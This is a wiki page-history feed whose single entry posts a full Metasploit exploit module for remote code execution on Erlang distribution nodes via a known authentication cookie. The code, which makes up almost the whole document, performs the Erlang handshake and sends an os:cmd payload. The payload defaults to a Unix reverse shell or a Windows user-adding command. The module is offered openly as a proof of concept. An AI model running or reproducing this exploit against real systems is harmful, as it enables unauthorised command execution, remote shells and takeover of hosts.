<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="chinese">
	<id>https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=Erlang_Port_Mapper_Daemon_Cookie%E9%81%A0%E7%A8%8B%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E</id>
	<title>Erlang Port Mapper Daemon Cookie遠程執行漏洞 - Revision history</title>
	<link rel="self" type="application/atom+xml" href="https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=Erlang_Port_Mapper_Daemon_Cookie%E9%81%A0%E7%A8%8B%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E"/>
	<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=Erlang_Port_Mapper_Daemon_Cookie%E9%81%A0%E7%A8%8B%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E&amp;action=history"/>
	<updated>2026-04-10T01:42:09Z</updated>
	<subtitle>Revision history for this page on the wiki</subtitle>
	<generator>MediaWiki 1.35.1</generator>
	<entry>
		<id>https://pwnwiki.com/index.php?title=Erlang_Port_Mapper_Daemon_Cookie%E9%81%A0%E7%A8%8B%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E&amp;diff=637&amp;oldid=prev</id>
		<title>Pwnwiki: Created page with &quot;==POC== &lt;pre&gt; ## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ##  class MetasploitModule...&quot;</title>
		<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=Erlang_Port_Mapper_Daemon_Cookie%E9%81%A0%E7%A8%8B%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E&amp;diff=637&amp;oldid=prev"/>
		<updated>2021-03-23T02:33:49Z</updated>

		<summary type="html">&lt;p&gt;Created page with &amp;quot;==POC== &amp;lt;pre&amp;gt; ## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ##  class MetasploitModule...&amp;quot;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;New page&lt;/b&gt;&lt;/p&gt;&lt;div&gt;==POC==&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
##&lt;br /&gt;
# This module requires Metasploit: https://metasploit.com/download&lt;br /&gt;
# Current source: https://github.com/rapid7/metasploit-framework&lt;br /&gt;
##&lt;br /&gt;
&lt;br /&gt;
class MetasploitModule &amp;lt; Msf::Exploit::Remote&lt;br /&gt;
  Rank = GreatRanking&lt;br /&gt;
&lt;br /&gt;
  include Msf::Exploit::Remote::Tcp&lt;br /&gt;
&lt;br /&gt;
  def initialize(info = {})&lt;br /&gt;
    super(&lt;br /&gt;
      update_info(&lt;br /&gt;
        info,&lt;br /&gt;
        'Name'           =&amp;gt; 'Erlang Port Mapper Daemon Cookie RCE',&lt;br /&gt;
        'Description'    =&amp;gt; %q{&lt;br /&gt;
          The erlang port mapper daemon is used to coordinate distributed erlang instances.&lt;br /&gt;
          Should an attacker get the authentication cookie RCE is trivial. Usually, this&lt;br /&gt;
          cookie is named &amp;quot;.erlang.cookie&amp;quot; and varies on location.&lt;br /&gt;
        },&lt;br /&gt;
        'Author'         =&amp;gt;&lt;br /&gt;
          [&lt;br /&gt;
            'Daniel Mende',              # blog post article&lt;br /&gt;
            'Milton Valencia (wetw0rk)', # metasploit module&lt;br /&gt;
          ],&lt;br /&gt;
        'References'     =&amp;gt;&lt;br /&gt;
          [&lt;br /&gt;
            ['URL', 'https://insinuator.net/2017/10/erlang-distribution-rce-and-a-cookie-bruteforcer/']&lt;br /&gt;
          ],&lt;br /&gt;
        'License'        =&amp;gt; MSF_LICENSE,&lt;br /&gt;
        'Platform'       =&amp;gt; ['unix', 'win'],&lt;br /&gt;
        'Arch'           =&amp;gt; ARCH_CMD,&lt;br /&gt;
        'Privileged'     =&amp;gt; 'false',&lt;br /&gt;
        'Targets'        =&amp;gt;&lt;br /&gt;
          [&lt;br /&gt;
            [ 'Unix',&lt;br /&gt;
              'Platform' =&amp;gt; 'unix',&lt;br /&gt;
              'Arch' =&amp;gt; ARCH_CMD,&lt;br /&gt;
              'DefaultOptions' =&amp;gt; {'PAYLOAD' =&amp;gt; 'cmd/unix/reverse'},&lt;br /&gt;
            ],&lt;br /&gt;
            [ 'Windows',&lt;br /&gt;
              'Platform' =&amp;gt; 'win',&lt;br /&gt;
              'Arch' =&amp;gt; ARCH_CMD,&lt;br /&gt;
              'DefaultOptions' =&amp;gt; {'PAYLOAD' =&amp;gt; 'cmd/windows/adduser'},&lt;br /&gt;
            ]&lt;br /&gt;
          ],&lt;br /&gt;
        'DefaultTarget'  =&amp;gt; 0,&lt;br /&gt;
        'DisclosureDate' =&amp;gt; 'Nov 20, 2009', # https://github.com/erlang/otp/blob/master/lib/kernel/src/os.erl (history)&lt;br /&gt;
      )&lt;br /&gt;
    )&lt;br /&gt;
&lt;br /&gt;
    register_options(&lt;br /&gt;
      [&lt;br /&gt;
        OptString.new('COOKIE', [ true, 'Erlang cookie to login with']),&lt;br /&gt;
        Opt::RPORT(25672)&lt;br /&gt;
      ])&lt;br /&gt;
  end&lt;br /&gt;
&lt;br /&gt;
  def generate_challenge_digest(challenge)&lt;br /&gt;
    challenge = challenge.unpack('H*')[0].to_i(16).to_s&lt;br /&gt;
&lt;br /&gt;
    hash = Digest::MD5.new&lt;br /&gt;
    hash.update(datastore['COOKIE'])&lt;br /&gt;
    hash.update(challenge)&lt;br /&gt;
&lt;br /&gt;
    vprint_status(&amp;quot;MD5 digest generated: #{hash.hexdigest}&amp;quot;)&lt;br /&gt;
    return [hash.hexdigest].pack('H*')&lt;br /&gt;
  end&lt;br /&gt;
&lt;br /&gt;
  def exploit&lt;br /&gt;
    connect&lt;br /&gt;
&lt;br /&gt;
    our_node = &amp;quot;#{rand_text_alphanumeric(6..12)}@#{rand_text_alphanumeric(6..12)}&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    # SEND_NAME: send initial identification of who &amp;quot;we&amp;quot; are&lt;br /&gt;
    send_name =  &amp;quot;\x00&amp;quot;                                     # Length: 0x0000&lt;br /&gt;
    send_name &amp;lt;&amp;lt; [(our_node.length+7).to_s(16)].pack('H*')  #&lt;br /&gt;
    send_name &amp;lt;&amp;lt; &amp;quot;\x6e&amp;quot;                                     # Tag: n&lt;br /&gt;
    send_name &amp;lt;&amp;lt; &amp;quot;\x00\x05&amp;quot;                                 # Version: R6 (5)&lt;br /&gt;
    send_name &amp;lt;&amp;lt; &amp;quot;\x00\x03\x49\x9c&amp;quot;                         # Flags (0x0003499c)&lt;br /&gt;
    send_name &amp;lt;&amp;lt; &amp;quot;#{our_node}&amp;quot;                              # &amp;lt;generated&amp;gt;@&amp;lt;generated&amp;gt;&lt;br /&gt;
&lt;br /&gt;
    # SEND_CHALLENGE_REPLY: return generated digest and its own challenge&lt;br /&gt;
    send_challenge_reply =  &amp;quot;\x00\x15&amp;quot;  # Length: 21&lt;br /&gt;
    send_challenge_reply &amp;lt;&amp;lt; &amp;quot;\x72&amp;quot;      # Tag: r&lt;br /&gt;
&lt;br /&gt;
    # SEND: send the message to the node&lt;br /&gt;
    send =  &amp;quot;\x00\x00\x00&amp;quot;                                                        # Length:0x00000000&lt;br /&gt;
    send &amp;lt;&amp;lt; [(0x50 + payload.raw.length + our_node.length*2).to_s(16)].pack('H*') #&lt;br /&gt;
    send &amp;lt;&amp;lt; &amp;quot;\x70&amp;quot;                                                                #&lt;br /&gt;
    send &amp;lt;&amp;lt; &amp;quot;\x83&amp;quot;                                                                # VERSION_MAGIC&lt;br /&gt;
    send &amp;lt;&amp;lt; &amp;quot;\x68&amp;quot;                                                                # SMALL_TUPLE_EXT (104)&lt;br /&gt;
    send &amp;lt;&amp;lt; &amp;quot;\x04&amp;quot;                                                                #   Arity: 4&lt;br /&gt;
    send &amp;lt;&amp;lt; &amp;quot;\x61&amp;quot;                                                                #     SMALL_INTEGER_EXT&lt;br /&gt;
    send &amp;lt;&amp;lt; &amp;quot;\x06&amp;quot;                                                                #       Int: 6&lt;br /&gt;
    send &amp;lt;&amp;lt; &amp;quot;\x67&amp;quot;                                                                #     PID_EXT (103)&lt;br /&gt;
    send &amp;lt;&amp;lt; &amp;quot;\x64\x00&amp;quot;                                                            #       Node:&lt;br /&gt;
    send &amp;lt;&amp;lt; [(our_node.length).to_s(16)].pack('H*')                               #         Length: strlen(Node)&lt;br /&gt;
    send &amp;lt;&amp;lt; &amp;quot;#{our_node}&amp;quot;                                                         #         Node&lt;br /&gt;
    send &amp;lt;&amp;lt; &amp;quot;\x00\x00\x00\x03&amp;quot;                                                    #       ID&lt;br /&gt;
    send &amp;lt;&amp;lt; &amp;quot;\x00\x00\x00\x00&amp;quot;                                                    #       Serial&lt;br /&gt;
    send &amp;lt;&amp;lt; &amp;quot;\x00&amp;quot;                                                                #       Creation&lt;br /&gt;
    send &amp;lt;&amp;lt; &amp;quot;\x64&amp;quot;                                                                #     InternalSegmentIndex&lt;br /&gt;
    send &amp;lt;&amp;lt; &amp;quot;\x00\x00&amp;quot;                                                            #       Len: 0x0000&lt;br /&gt;
    send &amp;lt;&amp;lt; &amp;quot;\x64&amp;quot;                                                                #     InternalSegmentIndex&lt;br /&gt;
    send &amp;lt;&amp;lt; &amp;quot;\x00\x03&amp;quot;                                                            #       Length: 3&lt;br /&gt;
    send &amp;lt;&amp;lt; &amp;quot;rex&amp;quot;                                                                 #       AtomText: rex&lt;br /&gt;
    send &amp;lt;&amp;lt; &amp;quot;\x83\x68\x02\x67\x64\x00&amp;quot;                                            #&lt;br /&gt;
    send &amp;lt;&amp;lt; [(our_node.length).to_s(16)].pack('H*')                               # Length: strlen(Node)&lt;br /&gt;
    send &amp;lt;&amp;lt; &amp;quot;#{our_node}&amp;quot;                                                         # Node&lt;br /&gt;
    send &amp;lt;&amp;lt; &amp;quot;\x00\x00\x00\x03&amp;quot;                                                    # ID&lt;br /&gt;
    send &amp;lt;&amp;lt; &amp;quot;\x00\x00\x00\x00&amp;quot;                                                    # Serial&lt;br /&gt;
    send &amp;lt;&amp;lt; &amp;quot;\x00&amp;quot;                                                                # Creation&lt;br /&gt;
    send &amp;lt;&amp;lt; &amp;quot;\x68&amp;quot;                                                                # SMALL_TUPLE_EXT (104)&lt;br /&gt;
    send &amp;lt;&amp;lt; &amp;quot;\x05&amp;quot;                                                                #   Arity: 5&lt;br /&gt;
    send &amp;lt;&amp;lt; &amp;quot;\x64&amp;quot;                                                                #     InternalSegmentIndex&lt;br /&gt;
    send &amp;lt;&amp;lt; &amp;quot;\x00\x04&amp;quot;                                                            #       Length: 4&lt;br /&gt;
    send &amp;lt;&amp;lt; &amp;quot;call&amp;quot;                                                                #       AtomText: call&lt;br /&gt;
    send &amp;lt;&amp;lt; &amp;quot;\x64&amp;quot;                                                                #     InternalSegmentIndex&lt;br /&gt;
    send &amp;lt;&amp;lt; &amp;quot;\x00\x02&amp;quot;                                                            #       Length: 2&lt;br /&gt;
    send &amp;lt;&amp;lt; &amp;quot;os&amp;quot;                                                                  #       AtomText: os&lt;br /&gt;
    send &amp;lt;&amp;lt; &amp;quot;\x64&amp;quot;                                                                #     InternalSegmentIndex&lt;br /&gt;
    send &amp;lt;&amp;lt; &amp;quot;\x00\x03&amp;quot;                                                            #       Length: 3&lt;br /&gt;
    send &amp;lt;&amp;lt; &amp;quot;cmd&amp;quot;                                                                 #       AtomText: cmd&lt;br /&gt;
    send &amp;lt;&amp;lt; &amp;quot;\x6c&amp;quot;                                                                #     LIST_EXT&lt;br /&gt;
    send &amp;lt;&amp;lt; &amp;quot;\x00\x00\x00\x01&amp;quot;                                                    #       Length: 1&lt;br /&gt;
    send &amp;lt;&amp;lt; &amp;quot;\x6b&amp;quot;                                                                #       Elements: k&lt;br /&gt;
    send &amp;lt;&amp;lt; &amp;quot;\x00&amp;quot;                                                                #       Tail&lt;br /&gt;
    send &amp;lt;&amp;lt; [(payload.raw.length).to_s(16)].pack('H*')                            # strlen(Command)&lt;br /&gt;
    send &amp;lt;&amp;lt; payload.raw                                                           # Command&lt;br /&gt;
    send &amp;lt;&amp;lt; &amp;quot;\x6a&amp;quot;                                                                # NIL_EXT&lt;br /&gt;
    send &amp;lt;&amp;lt; &amp;quot;\x64&amp;quot;                                                                # InternalSegmentIndex&lt;br /&gt;
    send &amp;lt;&amp;lt; &amp;quot;\x00\x04&amp;quot;                                                            #   Length: 4&lt;br /&gt;
    send &amp;lt;&amp;lt; &amp;quot;user&amp;quot;                                                                #   AtomText: user&lt;br /&gt;
&lt;br /&gt;
    sock.put(send_name)&lt;br /&gt;
&lt;br /&gt;
    # recieve servers &amp;quot;SEND_CHALLENGE&amp;quot; token (4 bytes)&lt;br /&gt;
    print_status(&amp;quot;Receiving server challenge&amp;quot;)&lt;br /&gt;
    challenge = sock.get&lt;br /&gt;
    challenge = challenge[14,4]&lt;br /&gt;
&lt;br /&gt;
    send_challenge_reply &amp;lt;&amp;lt; challenge&lt;br /&gt;
    send_challenge_reply &amp;lt;&amp;lt; generate_challenge_digest(challenge)&lt;br /&gt;
&lt;br /&gt;
    print_status(&amp;quot;Sending challenge reply&amp;quot;)&lt;br /&gt;
    sock.put(send_challenge_reply)&lt;br /&gt;
&lt;br /&gt;
    if sock.get.length &amp;lt; 1&lt;br /&gt;
      fail_with(Failure::UnexpectedReply, &amp;quot;Authentication Failed:#{datastore['COOKIE']}&amp;quot;)&lt;br /&gt;
    end&lt;br /&gt;
&lt;br /&gt;
    print_good(&amp;quot;Authentication successful, sending payload&amp;quot;)&lt;br /&gt;
    sock.put(send)&lt;br /&gt;
  end&lt;br /&gt;
end&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;/div&gt;</summary>
		<author><name>Pwnwiki</name></author>
	</entry>
</feed>